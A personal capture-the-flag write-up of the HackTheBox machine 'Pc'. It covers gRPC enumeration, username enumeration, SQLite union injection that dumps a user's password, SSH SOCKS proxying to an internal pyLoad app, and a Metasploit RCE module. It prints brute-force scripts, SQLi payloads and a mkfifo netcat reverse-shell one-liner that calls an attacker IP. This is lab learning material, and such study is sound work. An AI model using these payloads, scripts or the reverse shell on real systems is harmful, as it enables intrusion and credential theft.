HackTheBox: Pc

01/13/2024

This is the FIFTH live easy box Im doing. I butchered the last one, [[MonitorsTwo]]. To be fair, I did pretty well on my own until the end, then a series of stupid mistakes and lazy oversights fucked me all the way up.

Im going to try and redeem myself here.

Also note that so far, Ive basically done these boxes in order of ascending user-rated difficulty. So I can expect this one to be MORE difficult than monitors two. I just have to pay attention and do my due diligence, dont rush and make stupid mistakes...

REMINDER:

Im only letting myself use information that was online at the time this box was released, not afterwards. This came out on ==2023-05-20==. This is by Sau, the guy who made, you guessed it, [[Sau]]!

Enumeration

nmap script scan shows 2 ports open: 22 (SSH), and 50051 (unknown). In attempting to fingerprint the unknown service on port 50051, nmap received a wall of text that appears to be in binary.

I encountered something like this before on a Vulnhub box, Stapler, where port 666 seemed to just be a socket to receive a file. So I used netcat to direct the output of this mystery port to a file. file identifies its contents simply as "data", which is useless. I ran it again to make sure both results were identical, and they where.

The port outputs 46 bytes of binary data. (measured by redirecting to a file, then catting the file and piping it into wc -c). That should help narrow down what it is. What is 46 bytes? I could probably just google it to find out.

Most results I see indicate that port 50051 is for a serve called "gRPC". There's a client available for linux on Github.: https://github.com/vadimi/grpc-client-cli

Enumerating gRPC

I am able to connect to the machine using the gRPC client, so it appears that the service on port 50051 IS in fact gRPC. Now I need to figure out exactly what this service does.

So according to google, gRPC is a "remote procedure call" (RPC) framework. "RPC is used to call other processes on the remote systems like a local system."

When we connect to the gRPC service, we are presented with a couple of options:


$ grpc-client-cli 10.10.11.214:50051
? Choose a service:  [Use arrows to move, type to filter]
→ grpc.reflection.v1alpha.ServerReflection
  SimpleApp

When you navigate to "SimpleApp" we have yet another option menu:


? Choose a method:  [Use arrows to move, type to filter]
→ [..]
  getInfoeyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoic2hucG0iLCJleHAiOjE2OTE1NDQ1NzV9.bnCyyLzPJbiO5fUt6BZ38hqXr7Skb3d40bIPuRJgouc
  LoginUser
  RegisterUser

It appears that in all cases you interact with the server using JSON data.

Because I dont know the host name to use 'getInfo' or any user creds to sign in with 'LoginUser', the only real option here is to try and register a user. So I navigate to 'RegisterUser' and input the following:


Message json (type ? to see defaults): {"username":"shnpm","password":"pwned"}

{
  "message": "Account created for user shnpm!"
}

Great: I registered a user. Now let me try to sign in and see what procedures I can call:


? Choose a method: LoginUser

Message json (type ? to see defaults): {"username":"shnpm","password":"pwned"}
{
  "message": "Your id is 818."
}

Awesome.

HOLY FUCK, FINALLY!!! It took me forever to get it to accept the token header. I forgot to mention this part because I was running low on time, but when I try to use the 'getInfo' method with my id, I got an error saying something like "Authorization error: no 'token' header". At the recommendation of other people on the forum I used Postman for the first time for this, which seems to just be a GUI for crafting different protocol requests, and one of the protocols it supports is gRPC.

Even using this and adding the token header as an API key with the key being "token" and the value being the token received after logging in successfully, I kept receiving this message.

What finally made it work is deleting the b' ... ' from around the base64 string.

Note that I also added another piece of metadata which may have been required too: "content-type: application/grpc". I just copied this from the response header.

Now I get a message "Will update soon" when I use 'getInfo' with my ID.

"Will Update Soon"

I waited a few minutes after getting this error just in case, but got nothing else.

Then I resent the 'getInfo' request and this time got an error message:


Unexpected <class 'TypeError'>: 'NoneType' object is not subscriptable

Huh... I waited a long time and kept refreshing but got nothing except this error message. Its apparently a python error you get when you try to treat a 'None' data type object as an array.

But if I do getInfo for id=1, I get the message:


{
"message": "The admin is working hard to fix the issues."
}

Attempting to brute force ID values

I decided to try to grpcurl all possible ID values between 0 and 3000 to see if any of them would give actual information, the way id '1' has info. 3000 was chosen somewhat arbitrarily; I tried 1000 first but got nothing, so I decided I would up it a bit.

I wrote a script to do this. It stores the JSON data in a here-doc, makes the request, then greps the request for successful replies. If it sees a reply, it writes the response to a file.

bruteforce_ids.sh

bash
#!/bin/bash


for i in `seq 0 3000`;
do
    json=$(cat<<EOF
{"id":"$i"}
EOF
        ) 
    output=`grpcurl --plaintext -v -H "token: $1" -d $json 10.10.11.214:50051 SimpleApp/getInfo`
    if echo $output | grep -q -v "Sent 1 request and received 0 responses";
    then
        echo "" >> bruteforce_output.txt
        echo "****************$i" >> bruteforce_output.txt
        echo $output >> bruteforce_output.txt
    fi
    
done

You then run the script by passing the token as the argument, and to run it in the background just route stderr to /dev/null and use & to make it run in background:


./bruteforce_ids.sh eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoic2hucG0iLCJleHAiOjE2OTE2MzI0NzF9.6W0I_zZZVXubB8cYcKSpZnU9Q-HMb8kKpotFfszO65c 2>/dev/null &

It's ugly, but it works. It runs pretty quick, too; it probably takes about 2 minutes to scan 1000 ids.

Still nothing with 3000 ids. Ill try one more time with 5000 before I consider this a dead end.

Enumerating users

Funny- I took a minute to draw out a block diagram of the system in my notebook, and suddenly I understand it WAY better.

This WILL be a matter of brute forcing, but I was brute forcing the wrong parameter; instead of brute forcing the ID, we want to find a registered superuser and brute force their PASSWORD.

What I realized after trying to brute force IDs and then drawing out a diagram is that the system will only give you information about IDs corresponding to your authorization token. Otherwise I would have seen IDs for other users, but I didnt.

Then it hit me that earlier when I thought my account had expired, I tried to re-register it but got an "account already exists" error because it hadnt actually expired yet. I thought nothing of it at the time, but now I realize I can use that to enumerate valid usernames... Just attempt to register names from a wordlist, and any that reply with "username already exists" are in the system and can potentially be brute forced.

==LESSON LEARNED: When you're stumped and don't know what to do, try drawing out a diagram of the target. Show the inputs and outputs available to you. Ill upload a photo from my notebook later==

Here's the system's unintentional snitch:


{
"message": "User Already Exists!!"
}

Let me try a few obvious ones by hand before trying to script an attack. We'll do "admin", "root", "administrator", "superuser"

Ha!!! That was easy:


(RegisterUser)

{
"username": "admin", "password": "pwned"
}

....

{
"message": "User Already Exists!!"
}

Gotcha. So the account is "admin". There were no 'root' or 'administrator' accounts, as those actually allowed me to register the name.

Brute forcing admin account

Now I have to try to brute force the admin account password.

Obviously ill try the stupid stuff first: "admin", "123456", "root", "secret", "password123456", etc. Ill do about 10 of the easiest ones before writing a script like I did with the IDs earlier.

HO-LEE-FUCK. The password was just "admin"... you gotta be kidding me...


(LoginUser)

{
"username": "admin", "password": "admin"
}

{
"message": "Your id is 736."
}

(NOTE: Im using Postman to make these requests, and the token can be found in the "Trailers" tab of the response.)

First things first, I tried to SSH in as admin:admin unsuccessfully.

Okay... let's getInfo on our ID

Damn! Same "Will update later" message on our ID.

Lets try brute forcing IDs again, this time as admin, by using the admin token. If this doesnt turn anything up, Im probably going to have to enumerate more users.

Yeah... I enumerated 5000 IDs and got nothing. Guess I'll have to try more users.

Testing the input for SQL injection

I really should have thought of this myself sooner. I guess I did think of it myself, but I didnt give it much of a shot until someone else mentioned it in the forums.

Anyway, it looks like I have a PoC that the system is vulnerable to SQL injection:


(REQUEST 1)
{
"id": "2"
}

(RESPONSE 1)
Unexpected <class 'TypeError'>: 'NoneType' object is not subscriptable


(REQUEST 2)
{
"id": "2 OR 1==1;--"
}

(RESPONSE 2)
{
"message": "Will update soon."
}


(REQUEST 3)
{
"id": "1 ORDER BY 1--"
}

(RESPONSE 3)
{
"message": "The admin is working hard to fix the issues."
}


(REQUEST 4)
{
"id": "1 ORDER BY 2--"
}

(RESPONSE 4)
Unexpected <class 'TypeError'>: bad argument type for built-in operation

From the varied outputs we can see that it actually is susceptible to injection. The trick now is just figuring out how to exfiltrate data.

Lets try fucking with UNION injection:


(Request)
{
"id": "1 UNION ALL SELECT 1"
}
(Response)
{
"message": "The admin is working hard to fix the issues."
}


(Request)
{
"id": "2"
}
(Response)
Unexpected <class 'TypeError'>: 'NoneType' object is not subscriptable


(Request) [This one is great because it shows that we can extract data]
{
"id": "2 UNION ALL SELECT 1"
}
(Response)
{
"message": "1"
}


For fuck's sake. I can't get it to give me anything useful.

What Ill give a hail-mary shot at is proxying postman through Burp Suite, intercepting a request, and then handing that off to SQLmap to hopefully be able to catch something. I have no idea if SQLmap will even work with this protocol, but worth a shot.

Decrypting the token...

The token was just an encrypted string. Jesus christ.

Here's the token and it's base64 decrypted output:


Encrypted token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTE3NjE0NzF9.bCdpgIxaPPlQ3ylWv9ox7dz-xHSAt_pPuIlQyVSo2vM

Decrypted token:
{"typ":"JWT","alg":"HS256"}{"user_id":"admin","exp":1691761471}l'iZ<P)V1tOPT

However, this doesnt appear to be very useful.

Boolean-based SQLi attempts

My god Im just ready to be done this fucking box. What a nightmare this has been... whoever rates the difficulty on these is delusional.

Anyway, here's my progress as I go on trying to extract info using Boolean SQLi:


Testing to see if it's vulnerable to boolean-based attack:
{
"id": "9 OR id = 736"
} (in this case my assigned ID is 736)
{
"message": "Will update soon."
}

If you just input '9' you get a type error.


Attempting to figure out username column name:
{
"id": "9 or username = 'admin'"
}
{
"message": "The admin is working hard to fix the issues."
}


Attempting to enumerate usernames with wildcards:
{
"id": "9 or username like '%'"
}
{
"message": "The admin is working hard to fix the issues."
}

This worked, but did not return any users other than admin.

So it seems that "will update soon" is only useful as feedback for boolean SQLi.

But ALSO, we now know that the column IS called 'id'.

Now we also know that there's a column called "username" in the current table.

Damn... I guess I just needed to step away from this for a while. I couldnt get ANYWHERE with it last night, but it feels like it's coming relatively easily now... Let's see if I can enumerate the other user with the "like" operator with wildcards.

Well actually, let me see what the password column is...

No luck with either of those. BUT:


{
"id": "9 or (select sqlite_version()) like '%'"
}
{
"message": "The admin is working hard to fix the issues."
}

FUCK YEAH!!!! FINALLY!!!! We know what database manager its using: SQLite Holy shit that was rough. I was starting to lose hope.

But now that we know the DBMS type, we can start cooking with gas and using the right functions to dump info.

Let me try switching to union-based attacks to see if I can now dump info.


{
"id": "9 union select name from sqlite_master where type='table'"
}
{
"message": "accounts"
}

FUCK YEAH, we're making progress now. So the only table in the database is named "accounts".


{
"id": "9 union select sqlite_version()"
}
{
"message": "3.31.1"
}

{
"id": "9 union select username from accounts where username != 'admin'"
}
{
"message": "sau"
}

Gotcha bitch! So there's another user "Sau". Can I just brute force his password? Do I need to pull it from the DB?

How do I show the other column names in the table? I still havent figured out what its calling the password field, so I can't extract passwords.

Ill do this: Ill attempt to SQLi it manually, but in the background Ill run a script of terrible passwords to hopefully crack it if I fail.

Here's my custom password brute-forcing script:

bash
#!/bin/bash

# pass the wordlist as argument


while IFS='' read -r line; do
    json=$(cat<<EOF
{"username":"sau","password":"$line"}    	
EOF
	);

    # make the grpcurl request and save it to variable
    response=`grpcurl --plaintext -v -d $json 10.10.11.214:50051 SimpleApp/LoginUser`

    # grep the response for id assignment message
    if echo $response | grep -q "Your id is"; then
	echo "Password found for user 'sau': $line";
	echo "sau:$line" >> found_passwords.txt
	break
    fi

    
done < $1

GOT IT WITH SQLi!!! FUCK YEAH*


{
"id": "9 union select password from accounts where username != 'admin'"
}

{
"message": "HereIsYourPassWord1431"
}

Oh. My. God. That really wasnt simple in hindsight, but this one destroyed me.

Anyway, we now have the credentials ==sau:HereIsYourPassWord1431==

Good thing I was able to get it through SQLi, because I doubt that password is in any wordlist (though for the sake of testing my script, I added that to a short list and ran the script with the modified list, and it DID in fact catch the password)

Lets try to ssh in.

Finally, a foothold


$ ssh sau@10.10.11.214
sau@10.10.11.214's password: (HereIsYourPassWord1431)
Last login: Fri Aug 11 07:34:22 2023 from 10.10.16.14
sau@pc:~$ 

Thank god.

Enumeration/Priv Esc

I can tell from ps aux that we're not in a Docker container, since I can see /init as PID 1.

I have no sudo privs and no crontab. Bash history is routed to /dev/null. No interesting SUID binaries.

Supposedly this step is easy, according to the forums at least.

Running linpeas and pspy, will report back.

Theres a website running on port 8000 that's only available internally (maybe I can proxy it to an external port with netcat?)

Attempting to tunnel the internal web server through SSH

This is such an awesome trick that I never knew you could do.

Some context: I see a web page running only LOCALLY (ie, not accessible from my attacking machine) on localhost:8000, which Google tells me is typically for administration web apps. This MAY be running as root, I'm not sure. Anyway, I don't see anything else in the system that looks like a possible priv esc, so Im gonna try and figure out how to access this. Obviously, I cant use any GUI tools like a browser as Sau on the target machine. This means the only tool I can really use to try to view the web server is curl and nc, but that's a pretty painful process (although if this method Im about to describe keeps failing, I may have to use curl).

Some Googling revealed to me an awesome trick: you can tunnel services through an SSH connection, and effectively create a socket between a port on a remote host and a port on your own machine. See the "sources" section at the bottom of this writeup for the link to the page, it's highlighted. This command:


ssh -L 8080:10.10.11.214:8000 sau@10.10.11.214

when run from my attacker machine, will SSH in to the specified remote IP (10.10.11.214) and then link port 8000 on the remote machine to my localhost 8080.

While this did apparently create the tunnel, it seems like something is preventing me from connecting my browser to it; all I see in the SSH output is a bunch of "connection refused" errors when I attempt to load the page "http://localhost:8000".

It's possible that what I want is a SOCKS proxy instead.

SUCCESS!

Okay, I finally figured out how to access the target's local web server. At the risk of butchering the use of the terms and sounding stupid, it looks like I had to proxy the traffic through SSH rather than tunnel it... maybe tunneling preserves information about the requestor IP, which would be me? I don't know why else the one method would work but not the other.

Anyway, I set up the SOCKS v5 proxy through SSH using the following:


ssh -D 8080 -N sau@10.10.11.214

Then I had to go into firefox settings, switch to "use manual proxy settings", enter "127.0.0.1" and port 8080, select "SOCKS 5", and select "proxy DNS when using SOCKS 5".

Now, finally, when I enter http://0.0.0.0:8000/ into the url, I get the admin page.

Fuck. "admin:admin" was a no-go...

Anyway, the app is called "pyLoad". Let's do some investigation. Maybe there's default creds...

Investigating pyLoad

The app describes itself as a "Free and Open Source download manager written in Python...". Okay, fantastic. So I assume you can use it to download shit.

Here's the thing: Its running as root, as seen with ps aux | grep pyload:


root  1054  0.0  1.6 1220852 64944  ...  /usr/bin/python3 /usr/local/bin/pyload

So potentially, if I can upload a revshell, it just might run as root.

Unfortunately the default creds "pyload:pyload" didnt work, and the page is slow as shit (probably because its going through SSH, and assumedly has to encrypt/decrypt everything).

Fortunately for me, there appears to be an RCE exploit in pyLoad before versions 0.5.0b3. I have no idea which version this is, but its worth a shot.

There's actually a metasploit module for it which Ill try to use first.

Exploiting pyLoad

==SHOW THE SETTINGS PLUGGED INTO MSF TO GET EXPLOIT WORKING== Im confusing the matter here; all I need metasploit to do is download and execute a bash reverse shell script. THATS ALL. I dont need meterpreter. If I use meterpreter I have to set up a complicated proxy chain that I really dont have it in me to do right now.

I already tested and THIS works:


rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.231 9001 >/tmp/f

Firewall doesnt complain. I guess it only filters INCOMING connections?

Configuring Metasploit

Technically this isnt the FIRST time I've used metasploit, but it's definitely the most technically-involved and demanding interaction Ive had with this tool. Or at least it felt like it at the time, being awake for almost 24 hours and tweaking on caffeine... Im actually writing this having already rooted the box a couple minutes ago, and Im getting tired, so Ill keep this brief for now and just go over the settings I used to get metasploit working:


msf6 exploit(linux/http/pyload_js2py_exec) > options

Module options (exploit/linux/http/pyload_js2py_exec):

   Name       Current Setting        Required  Description
   ----       ---------------        --------  -----------
   Proxies    socks5:127.0.0.1:8080  no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     0.0.0.0                yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      8000                   yes       The target port (TCP)
   SSL        false                  no        Negotiate SSL/TLS for outgoing connections
   SSLCert                           no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                      yes       Base path
   URIPATH                           no        The URI to use for this exploit (default is random)
   VHOST                             no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  1234             yes       The local port to listen on.


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.231     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix Command



View the full module info with the info, or info -d command.

Note that I specified a non-default payload, "reverse_netcat". This uses the 'mkfifo' method which is pretty reliable, and I had already tested it as Sau to make sure it worked.

LHOST and LPORT had to be changed to my VPN address (it defaults to you eth0 address, which the target obviously can't reach)

Additionally I had to set the "proxies" parameter since I was operating through an SSH SOCKS proxy; basically just specify localhost and the port number.

Finally, I had to override metasploit's refusal to run a reverse shell payload using a proxy. I had my fingers crossed but it worked without issue, and I got a reverse shell. Im 99% sure this only worked because I changed it from the default "reverse_tcp" payload (which WOULD have had to go through proxy and thus wouldnt have worked) to the netcat one, which just connects directly.

Then I ran "exploit", and bam, got a connection:


msf6 exploit(linux/http/pyload_js2py_exec) > sessions -i 1

whoami
root